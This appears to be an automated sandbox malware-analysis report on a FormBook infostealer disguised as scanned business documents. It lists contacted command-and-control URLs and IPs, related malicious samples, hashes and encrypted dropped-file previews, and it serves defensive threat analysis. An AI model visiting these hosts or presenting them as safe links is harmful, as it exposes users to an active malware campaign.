http://www.zhuan-tou.com/pjmu/	false	Avira URL Cloud: safe	unknown
http://www.a9jcpf.top/mpex/	false	Avira URL Cloud: safe	unknown
http://www.tqfabxah.com/zjwj/	false	Avira URL Cloud: malware	unknown
http://www.stemfiniti.com/toda/?GTP=uhqpjxIPh&efM=obOL9JCgNxwS4++cuMdB8oKy9gH02j2g0sHVZkybihQ0FoV35C0OF1DRqfJh8iiswTwJQUV87m+YN/qkLbPeZjD4+ekebMUnDMBnOUVwsozzcXjkZdwt+Kw=	false	Avira URL Cloud: safe	unknown
http://www.kacotae.com/rdfm/	false	Avira URL Cloud: safe	unknown
http://www.8xbe578.app/1nsp/	false	Avira URL Cloud: safe	unknown
http://www.mqmsqkw.lol/jda9/?GTP=uhqpjxIPh&efM=34snQIO0a+qzYlkt+6IEft1gxD/ZK6L7qOToIJHZshoLhvuGziw8TW5Od2ToMUc/iXvMW07TMOYG4pWJ/ehZbdqmuEYhDCzj/N3rZv+VTG2UiN/ilnh8230=	false	Avira URL Cloud: safe	unknown
http://www.lfghtko.lol/yxos/?efM=GsI4mtIQVr1bqd+V/1qEiGWG2JWSdng8JQsV9k25RNexwN7KNHOmJ2uIpR4VD7Ui+v6cwkDz1p2XqdzqrAR32o8KijRXgfnfSTbVFHsQqIz2A3ZpJ0HUFH4=&GTP=uhqpjxIPh	false	Avira URL Cloud: safe	unknown
http://www.synergon.space/8unq/	false	Avira URL Cloud: safe	unknown
http://www.tqfabxah.com/zjwj/?efM=nHLCZn8vN2ArVDTtuX5SJ0P/P5D3rwrWV4l8hQoFqQuK0GTLFPexr5xj3EirNaSr0bv3za4OohaILLkKIoyZBj+QLQEglA9+lHyHnT+4OAarv/Cw0xbxNAM=&GTP=uhqpjxIPh	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq	schtasks.exe, 00000004.00000002.4112702566.00000000043B8000.00000004.10000000.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.0000000002DB8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://download.quark.cn/download/quarkpc?platform=android&ch=pcquark	schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4114511435.0000000006400000.00000004.00000800.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js	schtasks.exe, 00000004.00000002.4114511435.0000000006400000.00000004.00000800.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js	schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://track.uc.cn/collect	schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4114511435.0000000006400000.00000004.00000800.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dhosting.pl/bledyhttp/domeny.html	schtasks.exe, 00000004.00000002.4112702566.00000000046DC000.00000004.10000000.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000030DC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.lfghtko.lol	MHFAGZiftf.exe, 00000007.00000002.4113899205.0000000004B78000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js	schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4114511435.0000000006400000.00000004.00000800.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dhosting.pl/img/logo.svg	schtasks.exe, 00000004.00000002.4112702566.00000000046DC000.00000004.10000000.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000030DC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dhosting.pl/kontakt	MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000030DC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hm.baidu.com/hm.js?	schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4114511435.0000000006400000.00000004.00000800.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dhosting.pl	MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000030DC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dhosting.pl/bledyhttp/hosting.html	schtasks.exe, 00000004.00000002.4112702566.00000000046DC000.00000004.10000000.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000030DC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js	schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq	MHFAGZiftf.exe, 00000007.00000002.4112168789.0000000002DB8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	schtasks.exe, 00000004.00000002.4114680149.0000000007EEE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://image.uc.cn/s/uae/g/3o/berg/static/index.c4bc5b38d870fecd8a1f.css	schtasks.exe, 00000004.00000002.4112702566.0000000004EB6000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4114511435.0000000006400000.00000004.00000800.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000038B6000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
35.241.42.217	www.tqfabxah.com	United States	15169	GOOGLEUS	false
217.116.0.191	www.lecoinsa.net	Spain	16371	ACENS_ASSpainHostinghousingandVPNservicesES	false
76.223.67.189	rtrpodcast.online	United States	16509	AMAZON-02US	false
203.161.55.102	www.slushcafe.top	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	false
38.12.1.29	www.zhuan-tou.com	United States	174	COGENT-174US	false
64.226.69.42	www.kacotae.com	Canada	13768	COGECO-PEER1CA	false
109.95.158.127	synergon.space	Poland	48896	DHOSTING-ASWarsawPolandPL	false
3.33.130.190	stemfiniti.com	United States	8987	AMAZONEXPANSIONGB	false
216.83.33.140	kmdne.ajunsdfancsda.com	United States	64050	BCPL-SGBGPNETGlobalASNSG	false
116.213.43.190	www.lfghtko.lol	Hong Kong	63889	CLOUDIVLIMITED-ASCloudIvLimitedHK	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1488022
Start date and time:	2024-08-05 15:29:44 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Scanned Docs from Emnes Metal Sdn Bhd_.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/5@16/10
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 96% Number of executed functions: 50 Number of non-executed functions: 291
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target MHFAGZiftf.exe, PID 2872 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: Scanned Docs from Emnes Metal Sdn Bhd_.exe

Simulations

Behavior and APIs

Time	Type	Description
09:31:39	API Interceptor	10700167x Sleep call for process: schtasks.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
217.116.0.191	HSBCscancopy-invoice778483-payment87476MT103.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/i4bw/
	Request for Quotation - (SM Store San Mateo).exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/zd4t/
	D02984-KP-002011.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/7ffx/
	REQN#1010135038.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/7ffx/
	pismo1A 12.06.2024.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/xu8t/
	RFQ for Maintenance usering for Sabratha Project.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/zd4t/
	CFV20240600121.exe	Get hash	malicious	FormBook	Browse	www.lecoinsa.net/xu8t/
	Nbvkrvfanxfmla.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.captoriot.com/pn4e/?KfTD=TVbisx4cAYlWi1QWASjGfV1crgLBR8JtvsCp22pQc6hP3WdU+qw/hnDLngBsYyNwe7SkJXu6Y4ccrmt/HgV2tQEycSxLeHUr9w==&pd=8k02Xq71ReL2NgiL
	fJXbhkbAh4.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.metabolomicsrubio.com/he4z/?iY0=3flPJv6ieGjXtu2BZjlDCLsRYPXaTlSmnAGDaGGFSllhsjO/k4Cp7cSc5yNsqXbWoVnAdcraHliC8m1hOte1JfoJWxEBFbScRA==&m5h_Y=eBnFNQLxHa46YDho
	Image_0000384757.vbs	Get hash	malicious	FormBook	Browse	www.metabolomicsrubio.com/nbys/?bj=s1S3SPgRNf7lMN0xl2vbADF7xYqfipWGAgii2Z+ocbhr7l7z1f11h4s+9phUKVtapv+G0obo8tHeZk2i1iFboqWmw/7EeLn68w==&kfh=KmQsQQxqanX
76.223.67.189	SecuriteInfo.com.Win32.RATX-gen.24742.674.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.stellardaysigning.com/xb5p/
	mtTw7o41OC.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.microsofr.fun/omnp/
	Payrol list.exe	Get hash	malicious	FormBook	Browse	www.rtrpodcast.online/g3rq/
	LisectAVT_2403002B_448.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.magnauniversity.com/hfhf/?6lBX5p6=A/Xwur6vfkk1nt0HF5vI+iD3HQmsBnVKlXfi47Zpsj5D+hS3O7IepQPDfrVs1xyfsUFv&Kjsl=FbuD_t_HwtJdin
	IIMG_00172424.exe	Get hash	malicious	FormBook	Browse	www.stellardaysigning.com/xb5p/
	eqqjbbjMlt.elf	Get hash	malicious	Unknown	Browse	mgsdaigou2.com/
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	kensingtonconfectionery.com/
	bJrO2iUerN.elf	Get hash	malicious	Unknown	Browse	tmjsleepmilwakuee.com/
	SecuriteInfo.com.Trojan.PackedNET.2966.14355.23143.exe	Get hash	malicious	FormBook	Browse	www.stellardaysigning.com/xb5p/
	Documente de expediere.exe	Get hash	malicious	FormBook	Browse	www.funnelkakes.com/sgjw/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.mqmsqkw.lol	Payrol list.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	New Order.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	116.213.43.190
	BL.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	payment advice.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	MV SHUHA QUEEN II.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	AuT5pFGTFw.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	new order.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	SHUYOU #U65b0#U6307#U4ee4 PO-2301010 03-07-2024.pdf.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	nJ8mJTmMf0.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	DHL Arrival Notice.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
www.lfghtko.lol	PTT request form.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	PTT requested quotation.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	D02984-KP-002011.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	REQN#1010135038.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	PTT quotation form.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	Required quotations data list.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	SecuriteInfo.com.W32.AutoIt.YE.gen.Eldorado.20907.8920.exe	Get hash	malicious	FormBook	Browse	116.213.43.190
	HILCORP ENERGY REQUESTS.zip	Get hash	malicious	FormBook	Browse	116.213.43.190

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	UjCrfOAkJJiZyZh.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	75.2.115.196
	vzPAucRnt7.exe	Get hash	malicious	Unknown	Browse	54.244.188.177
	.exe	Get hash	malicious	Unknown	Browse	52.42.85.34
	http://beonlineboo.com	Get hash	malicious	Unknown	Browse	35.165.37.251
	https://logicalisuk.my.salesforce.com/setup/emailverif?oid=00D3z000001dzz1&k=Cj4KNQoPMDBEM3owMDAwMDFkenoxEg8wMkczejAwMDAwMFdWOE4aDzAwNTN6MDAwMDBCdWh6dSAFGN_3tJGSMhIQI3v2gs0Smh5HbrrPi2pb3BoMcA-pPOdt_d3-rPC6InFa7HDV_iW9LDPj8xH7hSk3un-1pgfjZvlK5Tv9PNw3ZrbyGYfST1J6GqYfWaKhB7o4-QA7gl67FLrZibn5D9yjxqT_I5lQp1_GTYo4JMlLKQM4byvWuZajquUzFQE2W0EVG_exs3QFRWcL3FGdq-ebSw%3D%3D	Get hash	malicious	Unknown	Browse	99.81.213.111
	CV.vbs	Get hash	malicious	Xmrig	Browse	3.6.115.64
	unLc6VekkL.elf	Get hash	malicious	Mirai	Browse	35.160.185.9
	17nDkQW4tK.elf	Get hash	malicious	Mirai	Browse	54.183.174.200
	2PQz3l61Pc.elf	Get hash	malicious	Mirai	Browse	13.236.43.129
	botx.mips.elf	Get hash	malicious	Mirai	Browse	50.18.22.244
COGENT-174US	payment copy pdf.exe	Get hash	malicious	FormBook	Browse	154.41.249.2
	Yg4Sqy06Al.exe	Get hash	malicious	FormBook	Browse	38.47.158.160
	http://url4388.parishsoft.com/ls/click?upn=u001.Vpzjdhwu4OAeGaWRMrv2bG-2BoISIIiNCoMwLNb33p6s9puXP6QsXcB55N2OsZ6QIQL6ualISvA6R9yFsi3QAkMw-3D-3DXnsm_4xqsswqm6jfqRi4Z9uMkjQPQ2PkIkpXiS7DDGAZwwqNkGayHBacrLCvWB6Ugb4mkRZ3VOwT8CtgdDvVzoEhuyk6RBXBzMUCiGffZILgz6kR-2FL0nL0bxsibxsiUMijyxKfmLW891ickSrYKqWpAo9hCEcRsdCC2tujtVQQrSV8Vz2uroyKvadQlzhc4JKhA7jHhTUxKABBY7atxFYwVCPFB5me96L6dyoMp-2FtDuDTirn5yJY0-2FgMFIFSldNhOOGkWZFlvdMYsSUWRFKEWdA6MNjw9lUNWdhKLgUqvqHz9yAXZOqRQ6z8xUDj4ZDVoAP4jrKwzE6kfZ8QZJlON1P64VH3LTUAC-2F3-2Bu3E-2Bv-2F-2FvtH0U-3D	Get hash	malicious	Unknown	Browse	38.180.80.71
	17nDkQW4tK.elf	Get hash	malicious	Mirai	Browse	38.148.41.21
	MenSncKnTI.exe	Get hash	malicious	Xmrig	Browse	149.102.143.109
	.5r3fqt67ew531has4231.x86.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	38.192.195.53
	66af531b832ee_main.exe	Get hash	malicious	Vidar	Browse	38.180.132.96
	66af4e35e761b_doz.exe	Get hash	malicious	Vidar	Browse	38.180.132.96
	Urq5Bp4bgs.elf	Get hash	malicious	Unknown	Browse	74.63.92.214
	yLfAxBEcuo.exe	Get hash	malicious	Cryptbot, Vidar, Xmrig	Browse	38.180.132.96
ACENS_ASSpainHostinghousingandVPNservicesES	b2bXo6vmDm.exe	Get hash	malicious	SystemBC	Browse	217.116.5.231
	5CxmQXL0LD.exe	Get hash	malicious	SystemBC	Browse	82.194.91.200
	HSBCscancopy-invoice778483-payment87476MT103.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	Request for Quotation - (SM Store San Mateo).exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	D02984-KP-002011.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	REQN#1010135038.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	pismo1A 12.06.2024.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	RFQ for Maintenance usering for Sabratha Project.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	CFV20240600121.exe	Get hash	malicious	FormBook	Browse	217.116.0.191
	file.exe	Get hash	malicious	SystemBC	Browse	217.116.0.152
VNPT-AS-VNVNPTCorpVN	payment copy pdf.exe	Get hash	malicious	FormBook	Browse	203.161.55.124
	PR44238-43433.exe	Get hash	malicious	FormBook	Browse	203.161.49.193
	Yg4Sqy06Al.exe	Get hash	malicious	FormBook	Browse	203.161.43.228
	botx.mips.elf	Get hash	malicious	Mirai	Browse	14.254.239.106
	payment voucher.exe	Get hash	malicious	FormBook	Browse	203.161.41.190
	Shipment Files EG240711& EG240712.exe	Get hash	malicious	FormBook	Browse	203.161.46.201
	wKrQaAEaJ4.elf	Get hash	malicious	Mirai	Browse	113.166.232.238
	nblbw9JYDM.elf	Get hash	malicious	Mirai	Browse	123.31.16.73
	Payment ConfirmationSwift copy.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	203.161.42.162
	Shipping documentsInvoice and Packing List, Certificate of Origin.exe	Get hash	malicious	FormBook	Browse	203.161.42.162

Process:	C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe
File Type:	ASCII text, with very long lines (28674), with no line terminators
Category:	dropped
Size (bytes):	28674
Entropy (8bit):	3.579135792364548
Encrypted:	false
SSDEEP:	768:XBQPkzXIfqkY4G04QhBgn2RDAmj0zC8xlOWw73Oy3K:wkcfqp4G04QhBc2FAk0XcC
MD5:	61B2F60056D28ACEECBBF21323FF622B
SHA1:	ADB2CA1461EDA74CA0111BE2FDD164BC92A71C62
SHA-256:	1C49DD091F754EE65DF72744AC2345BAEE85E762E9DB2F0C70BC1E650566EF63
SHA-512:	F7E193CB90EAE4C2741F58CA6A4C7261BBAA8665DC94561C958DBB48693E55143AC8A7589EC5E24A20B1FC56B29F1569BEF7C04DBCB6EAE57E95886E78916ABB
Malicious:	false
Reputation:	low
Preview:	5}::=gjh=6jhhh575555:;:<g=;g555555;;=>9:=9g>;:555555;;=>9i=;gf<7555555;;=>::==g=;j555555;;=>9:=fg>;:555555;;=>9i=hgf;h555555;;=>::=jg=88555555;;=>9:>5g>87555555;;=>9i>7gf7j555555;;=>::>9g=;9555555;;=>9:>;g>;h555555;;=>9i>=gf;h555555;;=>::>f88h5;;=>9:>hg>;j555555;;=>=i99kkkkkkgf<9555555;;=>>:9;kkkkkkg=;9555555;;=>=:9=kkkkkkg>;h555555;;=>=i9fkkkkkkgf;h555555;;=>>:9hkkkkkkg=7j555555;;=>=:9jkkkkkkg>;9555555;;=>=i:5kkkkkkgf;h555555;;=>>::7kkkkkkg=;h555555;;=>=::9kkkkkk88h>;;=>=i:;kkkkkkgf<:555555;;=>::i5g=<8555555;;=>9:i7g>;:555555;;=>9ii9gf<7555555;;=>::i;g=88555555;;=>9:i=g>87555555;;=>9iifgf7j555555;;=>::ihg=;9555555;;=>9:ijg>;h555555;;=>9ij5gf;h555555;;=>::j788h5;;=>9:j9g>;6555555;;=>=i;=kkkkkkgf;9555555;;=>>:;fkkkkkkg=<;555555;;=>=:;hkkkkkkg>;6555555;;=>=i;jkkkkkkgf<5555555;;=>>:<5kkkkkkg=;>555555;;=>=:<7kkkkkkg>88555555;;=>=i<9kkkkkkgf87555555;;=>>:<;kkkkkkg=7j555555;;=>=:<=kkkkkkg>;9555555;;=>=i<fkkkkkkgf;h555555;;=>>:<hkkkkkkg=;h555555;;=>=:<jkkkkkk88h>;;=>9i=5gf<8555555;;=>::f5g=;=

C:\Users\user\AppData\Local\Temp\aut8DF2.tmp

Process:	C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe
File Type:	zlib compressed data
Category:	dropped
Size (bytes):	271872
Entropy (8bit):	7.99060672802885
Encrypted:	true
SSDEEP:	6144:93/gG9wXSsQIWyhZDcnx8GcGoxzmEjEtPSgkyHbP1KPNsnmTM/h/NTAP6XjagH:laXvQIThZyx89RxzmEjAwN2/hVamf
MD5:	4269DE07B6806167BCB06EBB374AF6C9
SHA1:	012FB1FB34124ED9DC7FFBB55CC50640F27BF632
SHA-256:	C12C30FED87A5BD875A3E3FBD14A02FA1E312D90BC4B3B959E1699EB01723BF8
SHA-512:	4647F9A8AA0970BFA294BE6AB4135B00150A74CC5A20A4FB6B3C9F6C2AB7B5FE622403CE3F87679E976369E9735166750A0050BDCEF0BBF825C9D028805F2379
Malicious:	false
Reputation:	low
Preview:	...f.CKQIk..\.....QJ..}@P..KQI365UCX4CCKQI365UCX4CCKQI365.CX4M\._I.?.t.Yx.b.9 @.E',?F".k2(]XZ!c:Qc1>?iZX......,/4g>;?qCX4CCKQ02?.h#?.~#,.tSQ.O...y#,.S...i#?.Y..uSQ..*;\~#,.I365UCX4..KQ.275D.AbCCKQI365.CZ5HB@QI'25UCX4CCKQY'65USX4CsOQI3v5USX4CAKQO365UCX4ECKQI365Us\4CAKQI365WC..CC[QI#65UCH4CSKQI365ECX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365{7=L7CKQ-!25USX4CWOQI#65UCX4CCKQI365uCXTCCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4CCKQI365UCX4

C:\Users\user\AppData\Local\Temp\aut8E22.tmp

Process:	C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe
File Type:	data
Category:	dropped
Size (bytes):	9750
Entropy (8bit):	7.650119562068247
Encrypted:	false
SSDEEP:	192:ekTYCxDR8l9LfBjZ/YiWQdLqBMhGuErhTGMjsHAR3zWdwcqA1WWE9:5T19WLxZ/YjQLqQPErhTGMZRDA1Fu
MD5:	A27A9898EB223CF556D148FAAE7B79DE
SHA1:	A1299150BA464E44A9220FABB93157B7EE69C62B
SHA-256:	946EB2385D1CF442B627C7CCAE2CA9F084A5DE02AA1DB517671589BDD9B46F20
SHA-512:	469CC7F01C8E98420DEF30DA2EBBF0E4786F97466B960C96154CAEEC52C1DCEF49D5BB81E94A8F5776FA3B8758322ADD7BE2E3B2703E90B68133F1FBC4CE7496
Malicious:	false
Reputation:	low
Preview:	EA06..p...gS...h..V.E.k7.......yg.......k;..g...sg.N.@.]....i...K........\|.`.o..g.N.......=.N...>.......m3..7.Z..u>..6...o.v..Z......g.>.N'....Z....N.m3.........>.Ng`...r.'.....c ....Af.H.....@.F.3<..Z..6...L.j........x..t....B\|.....Y..0.N.3[<.x...Zf.5_..r....g`5_..z.U..l.5_....U..m@5_..j.U...5\..>3`..N.^.f.Z..u;.z..y;......@........G../Z.........j\|....x.u....$.../.y=...g.G_T......-@>_.......zu:..........p...................`.M..`... ...h...@..P.'.9...{>K<..c.....Y.`._..z......>K8#G.g..3\|v...G.9..&.8_..uh..i\|v.....h.h.-.`......E..<..s.]....'v.;..=..S..L..6...f..+@.ff.y...;..m ...f..E...Y....3...............v............2p....<d....,vl...4.....!+@.'&.....,fy7.Zm6y......r.7.X...c3.L.ok.Y.!...Gf.....,f.>.Om`. .#<.....c..........z.h.s.....,vp...<..t.....40......g ....f.....4..@.6.-..p..S.U..7...S..N..;:.`..>..m....u=.....c....Z...wx.....vv.........E.....@y6....p.c3.M..9..b.!....F ....B5h..'.........vx......f..M.\|...B3....@.;=.X...f.....H........g....M.S.T..h...

C:\Users\user\AppData\Local\Temp\j0941BH0

Process:	C:\Windows\SysWOW64\schtasks.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\phagocytosed

Process:	C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe
File Type:	zlib compressed data
Category:	dropped
Size (bytes):	271872
Entropy (8bit):	7.99060672802885
Encrypted:	true
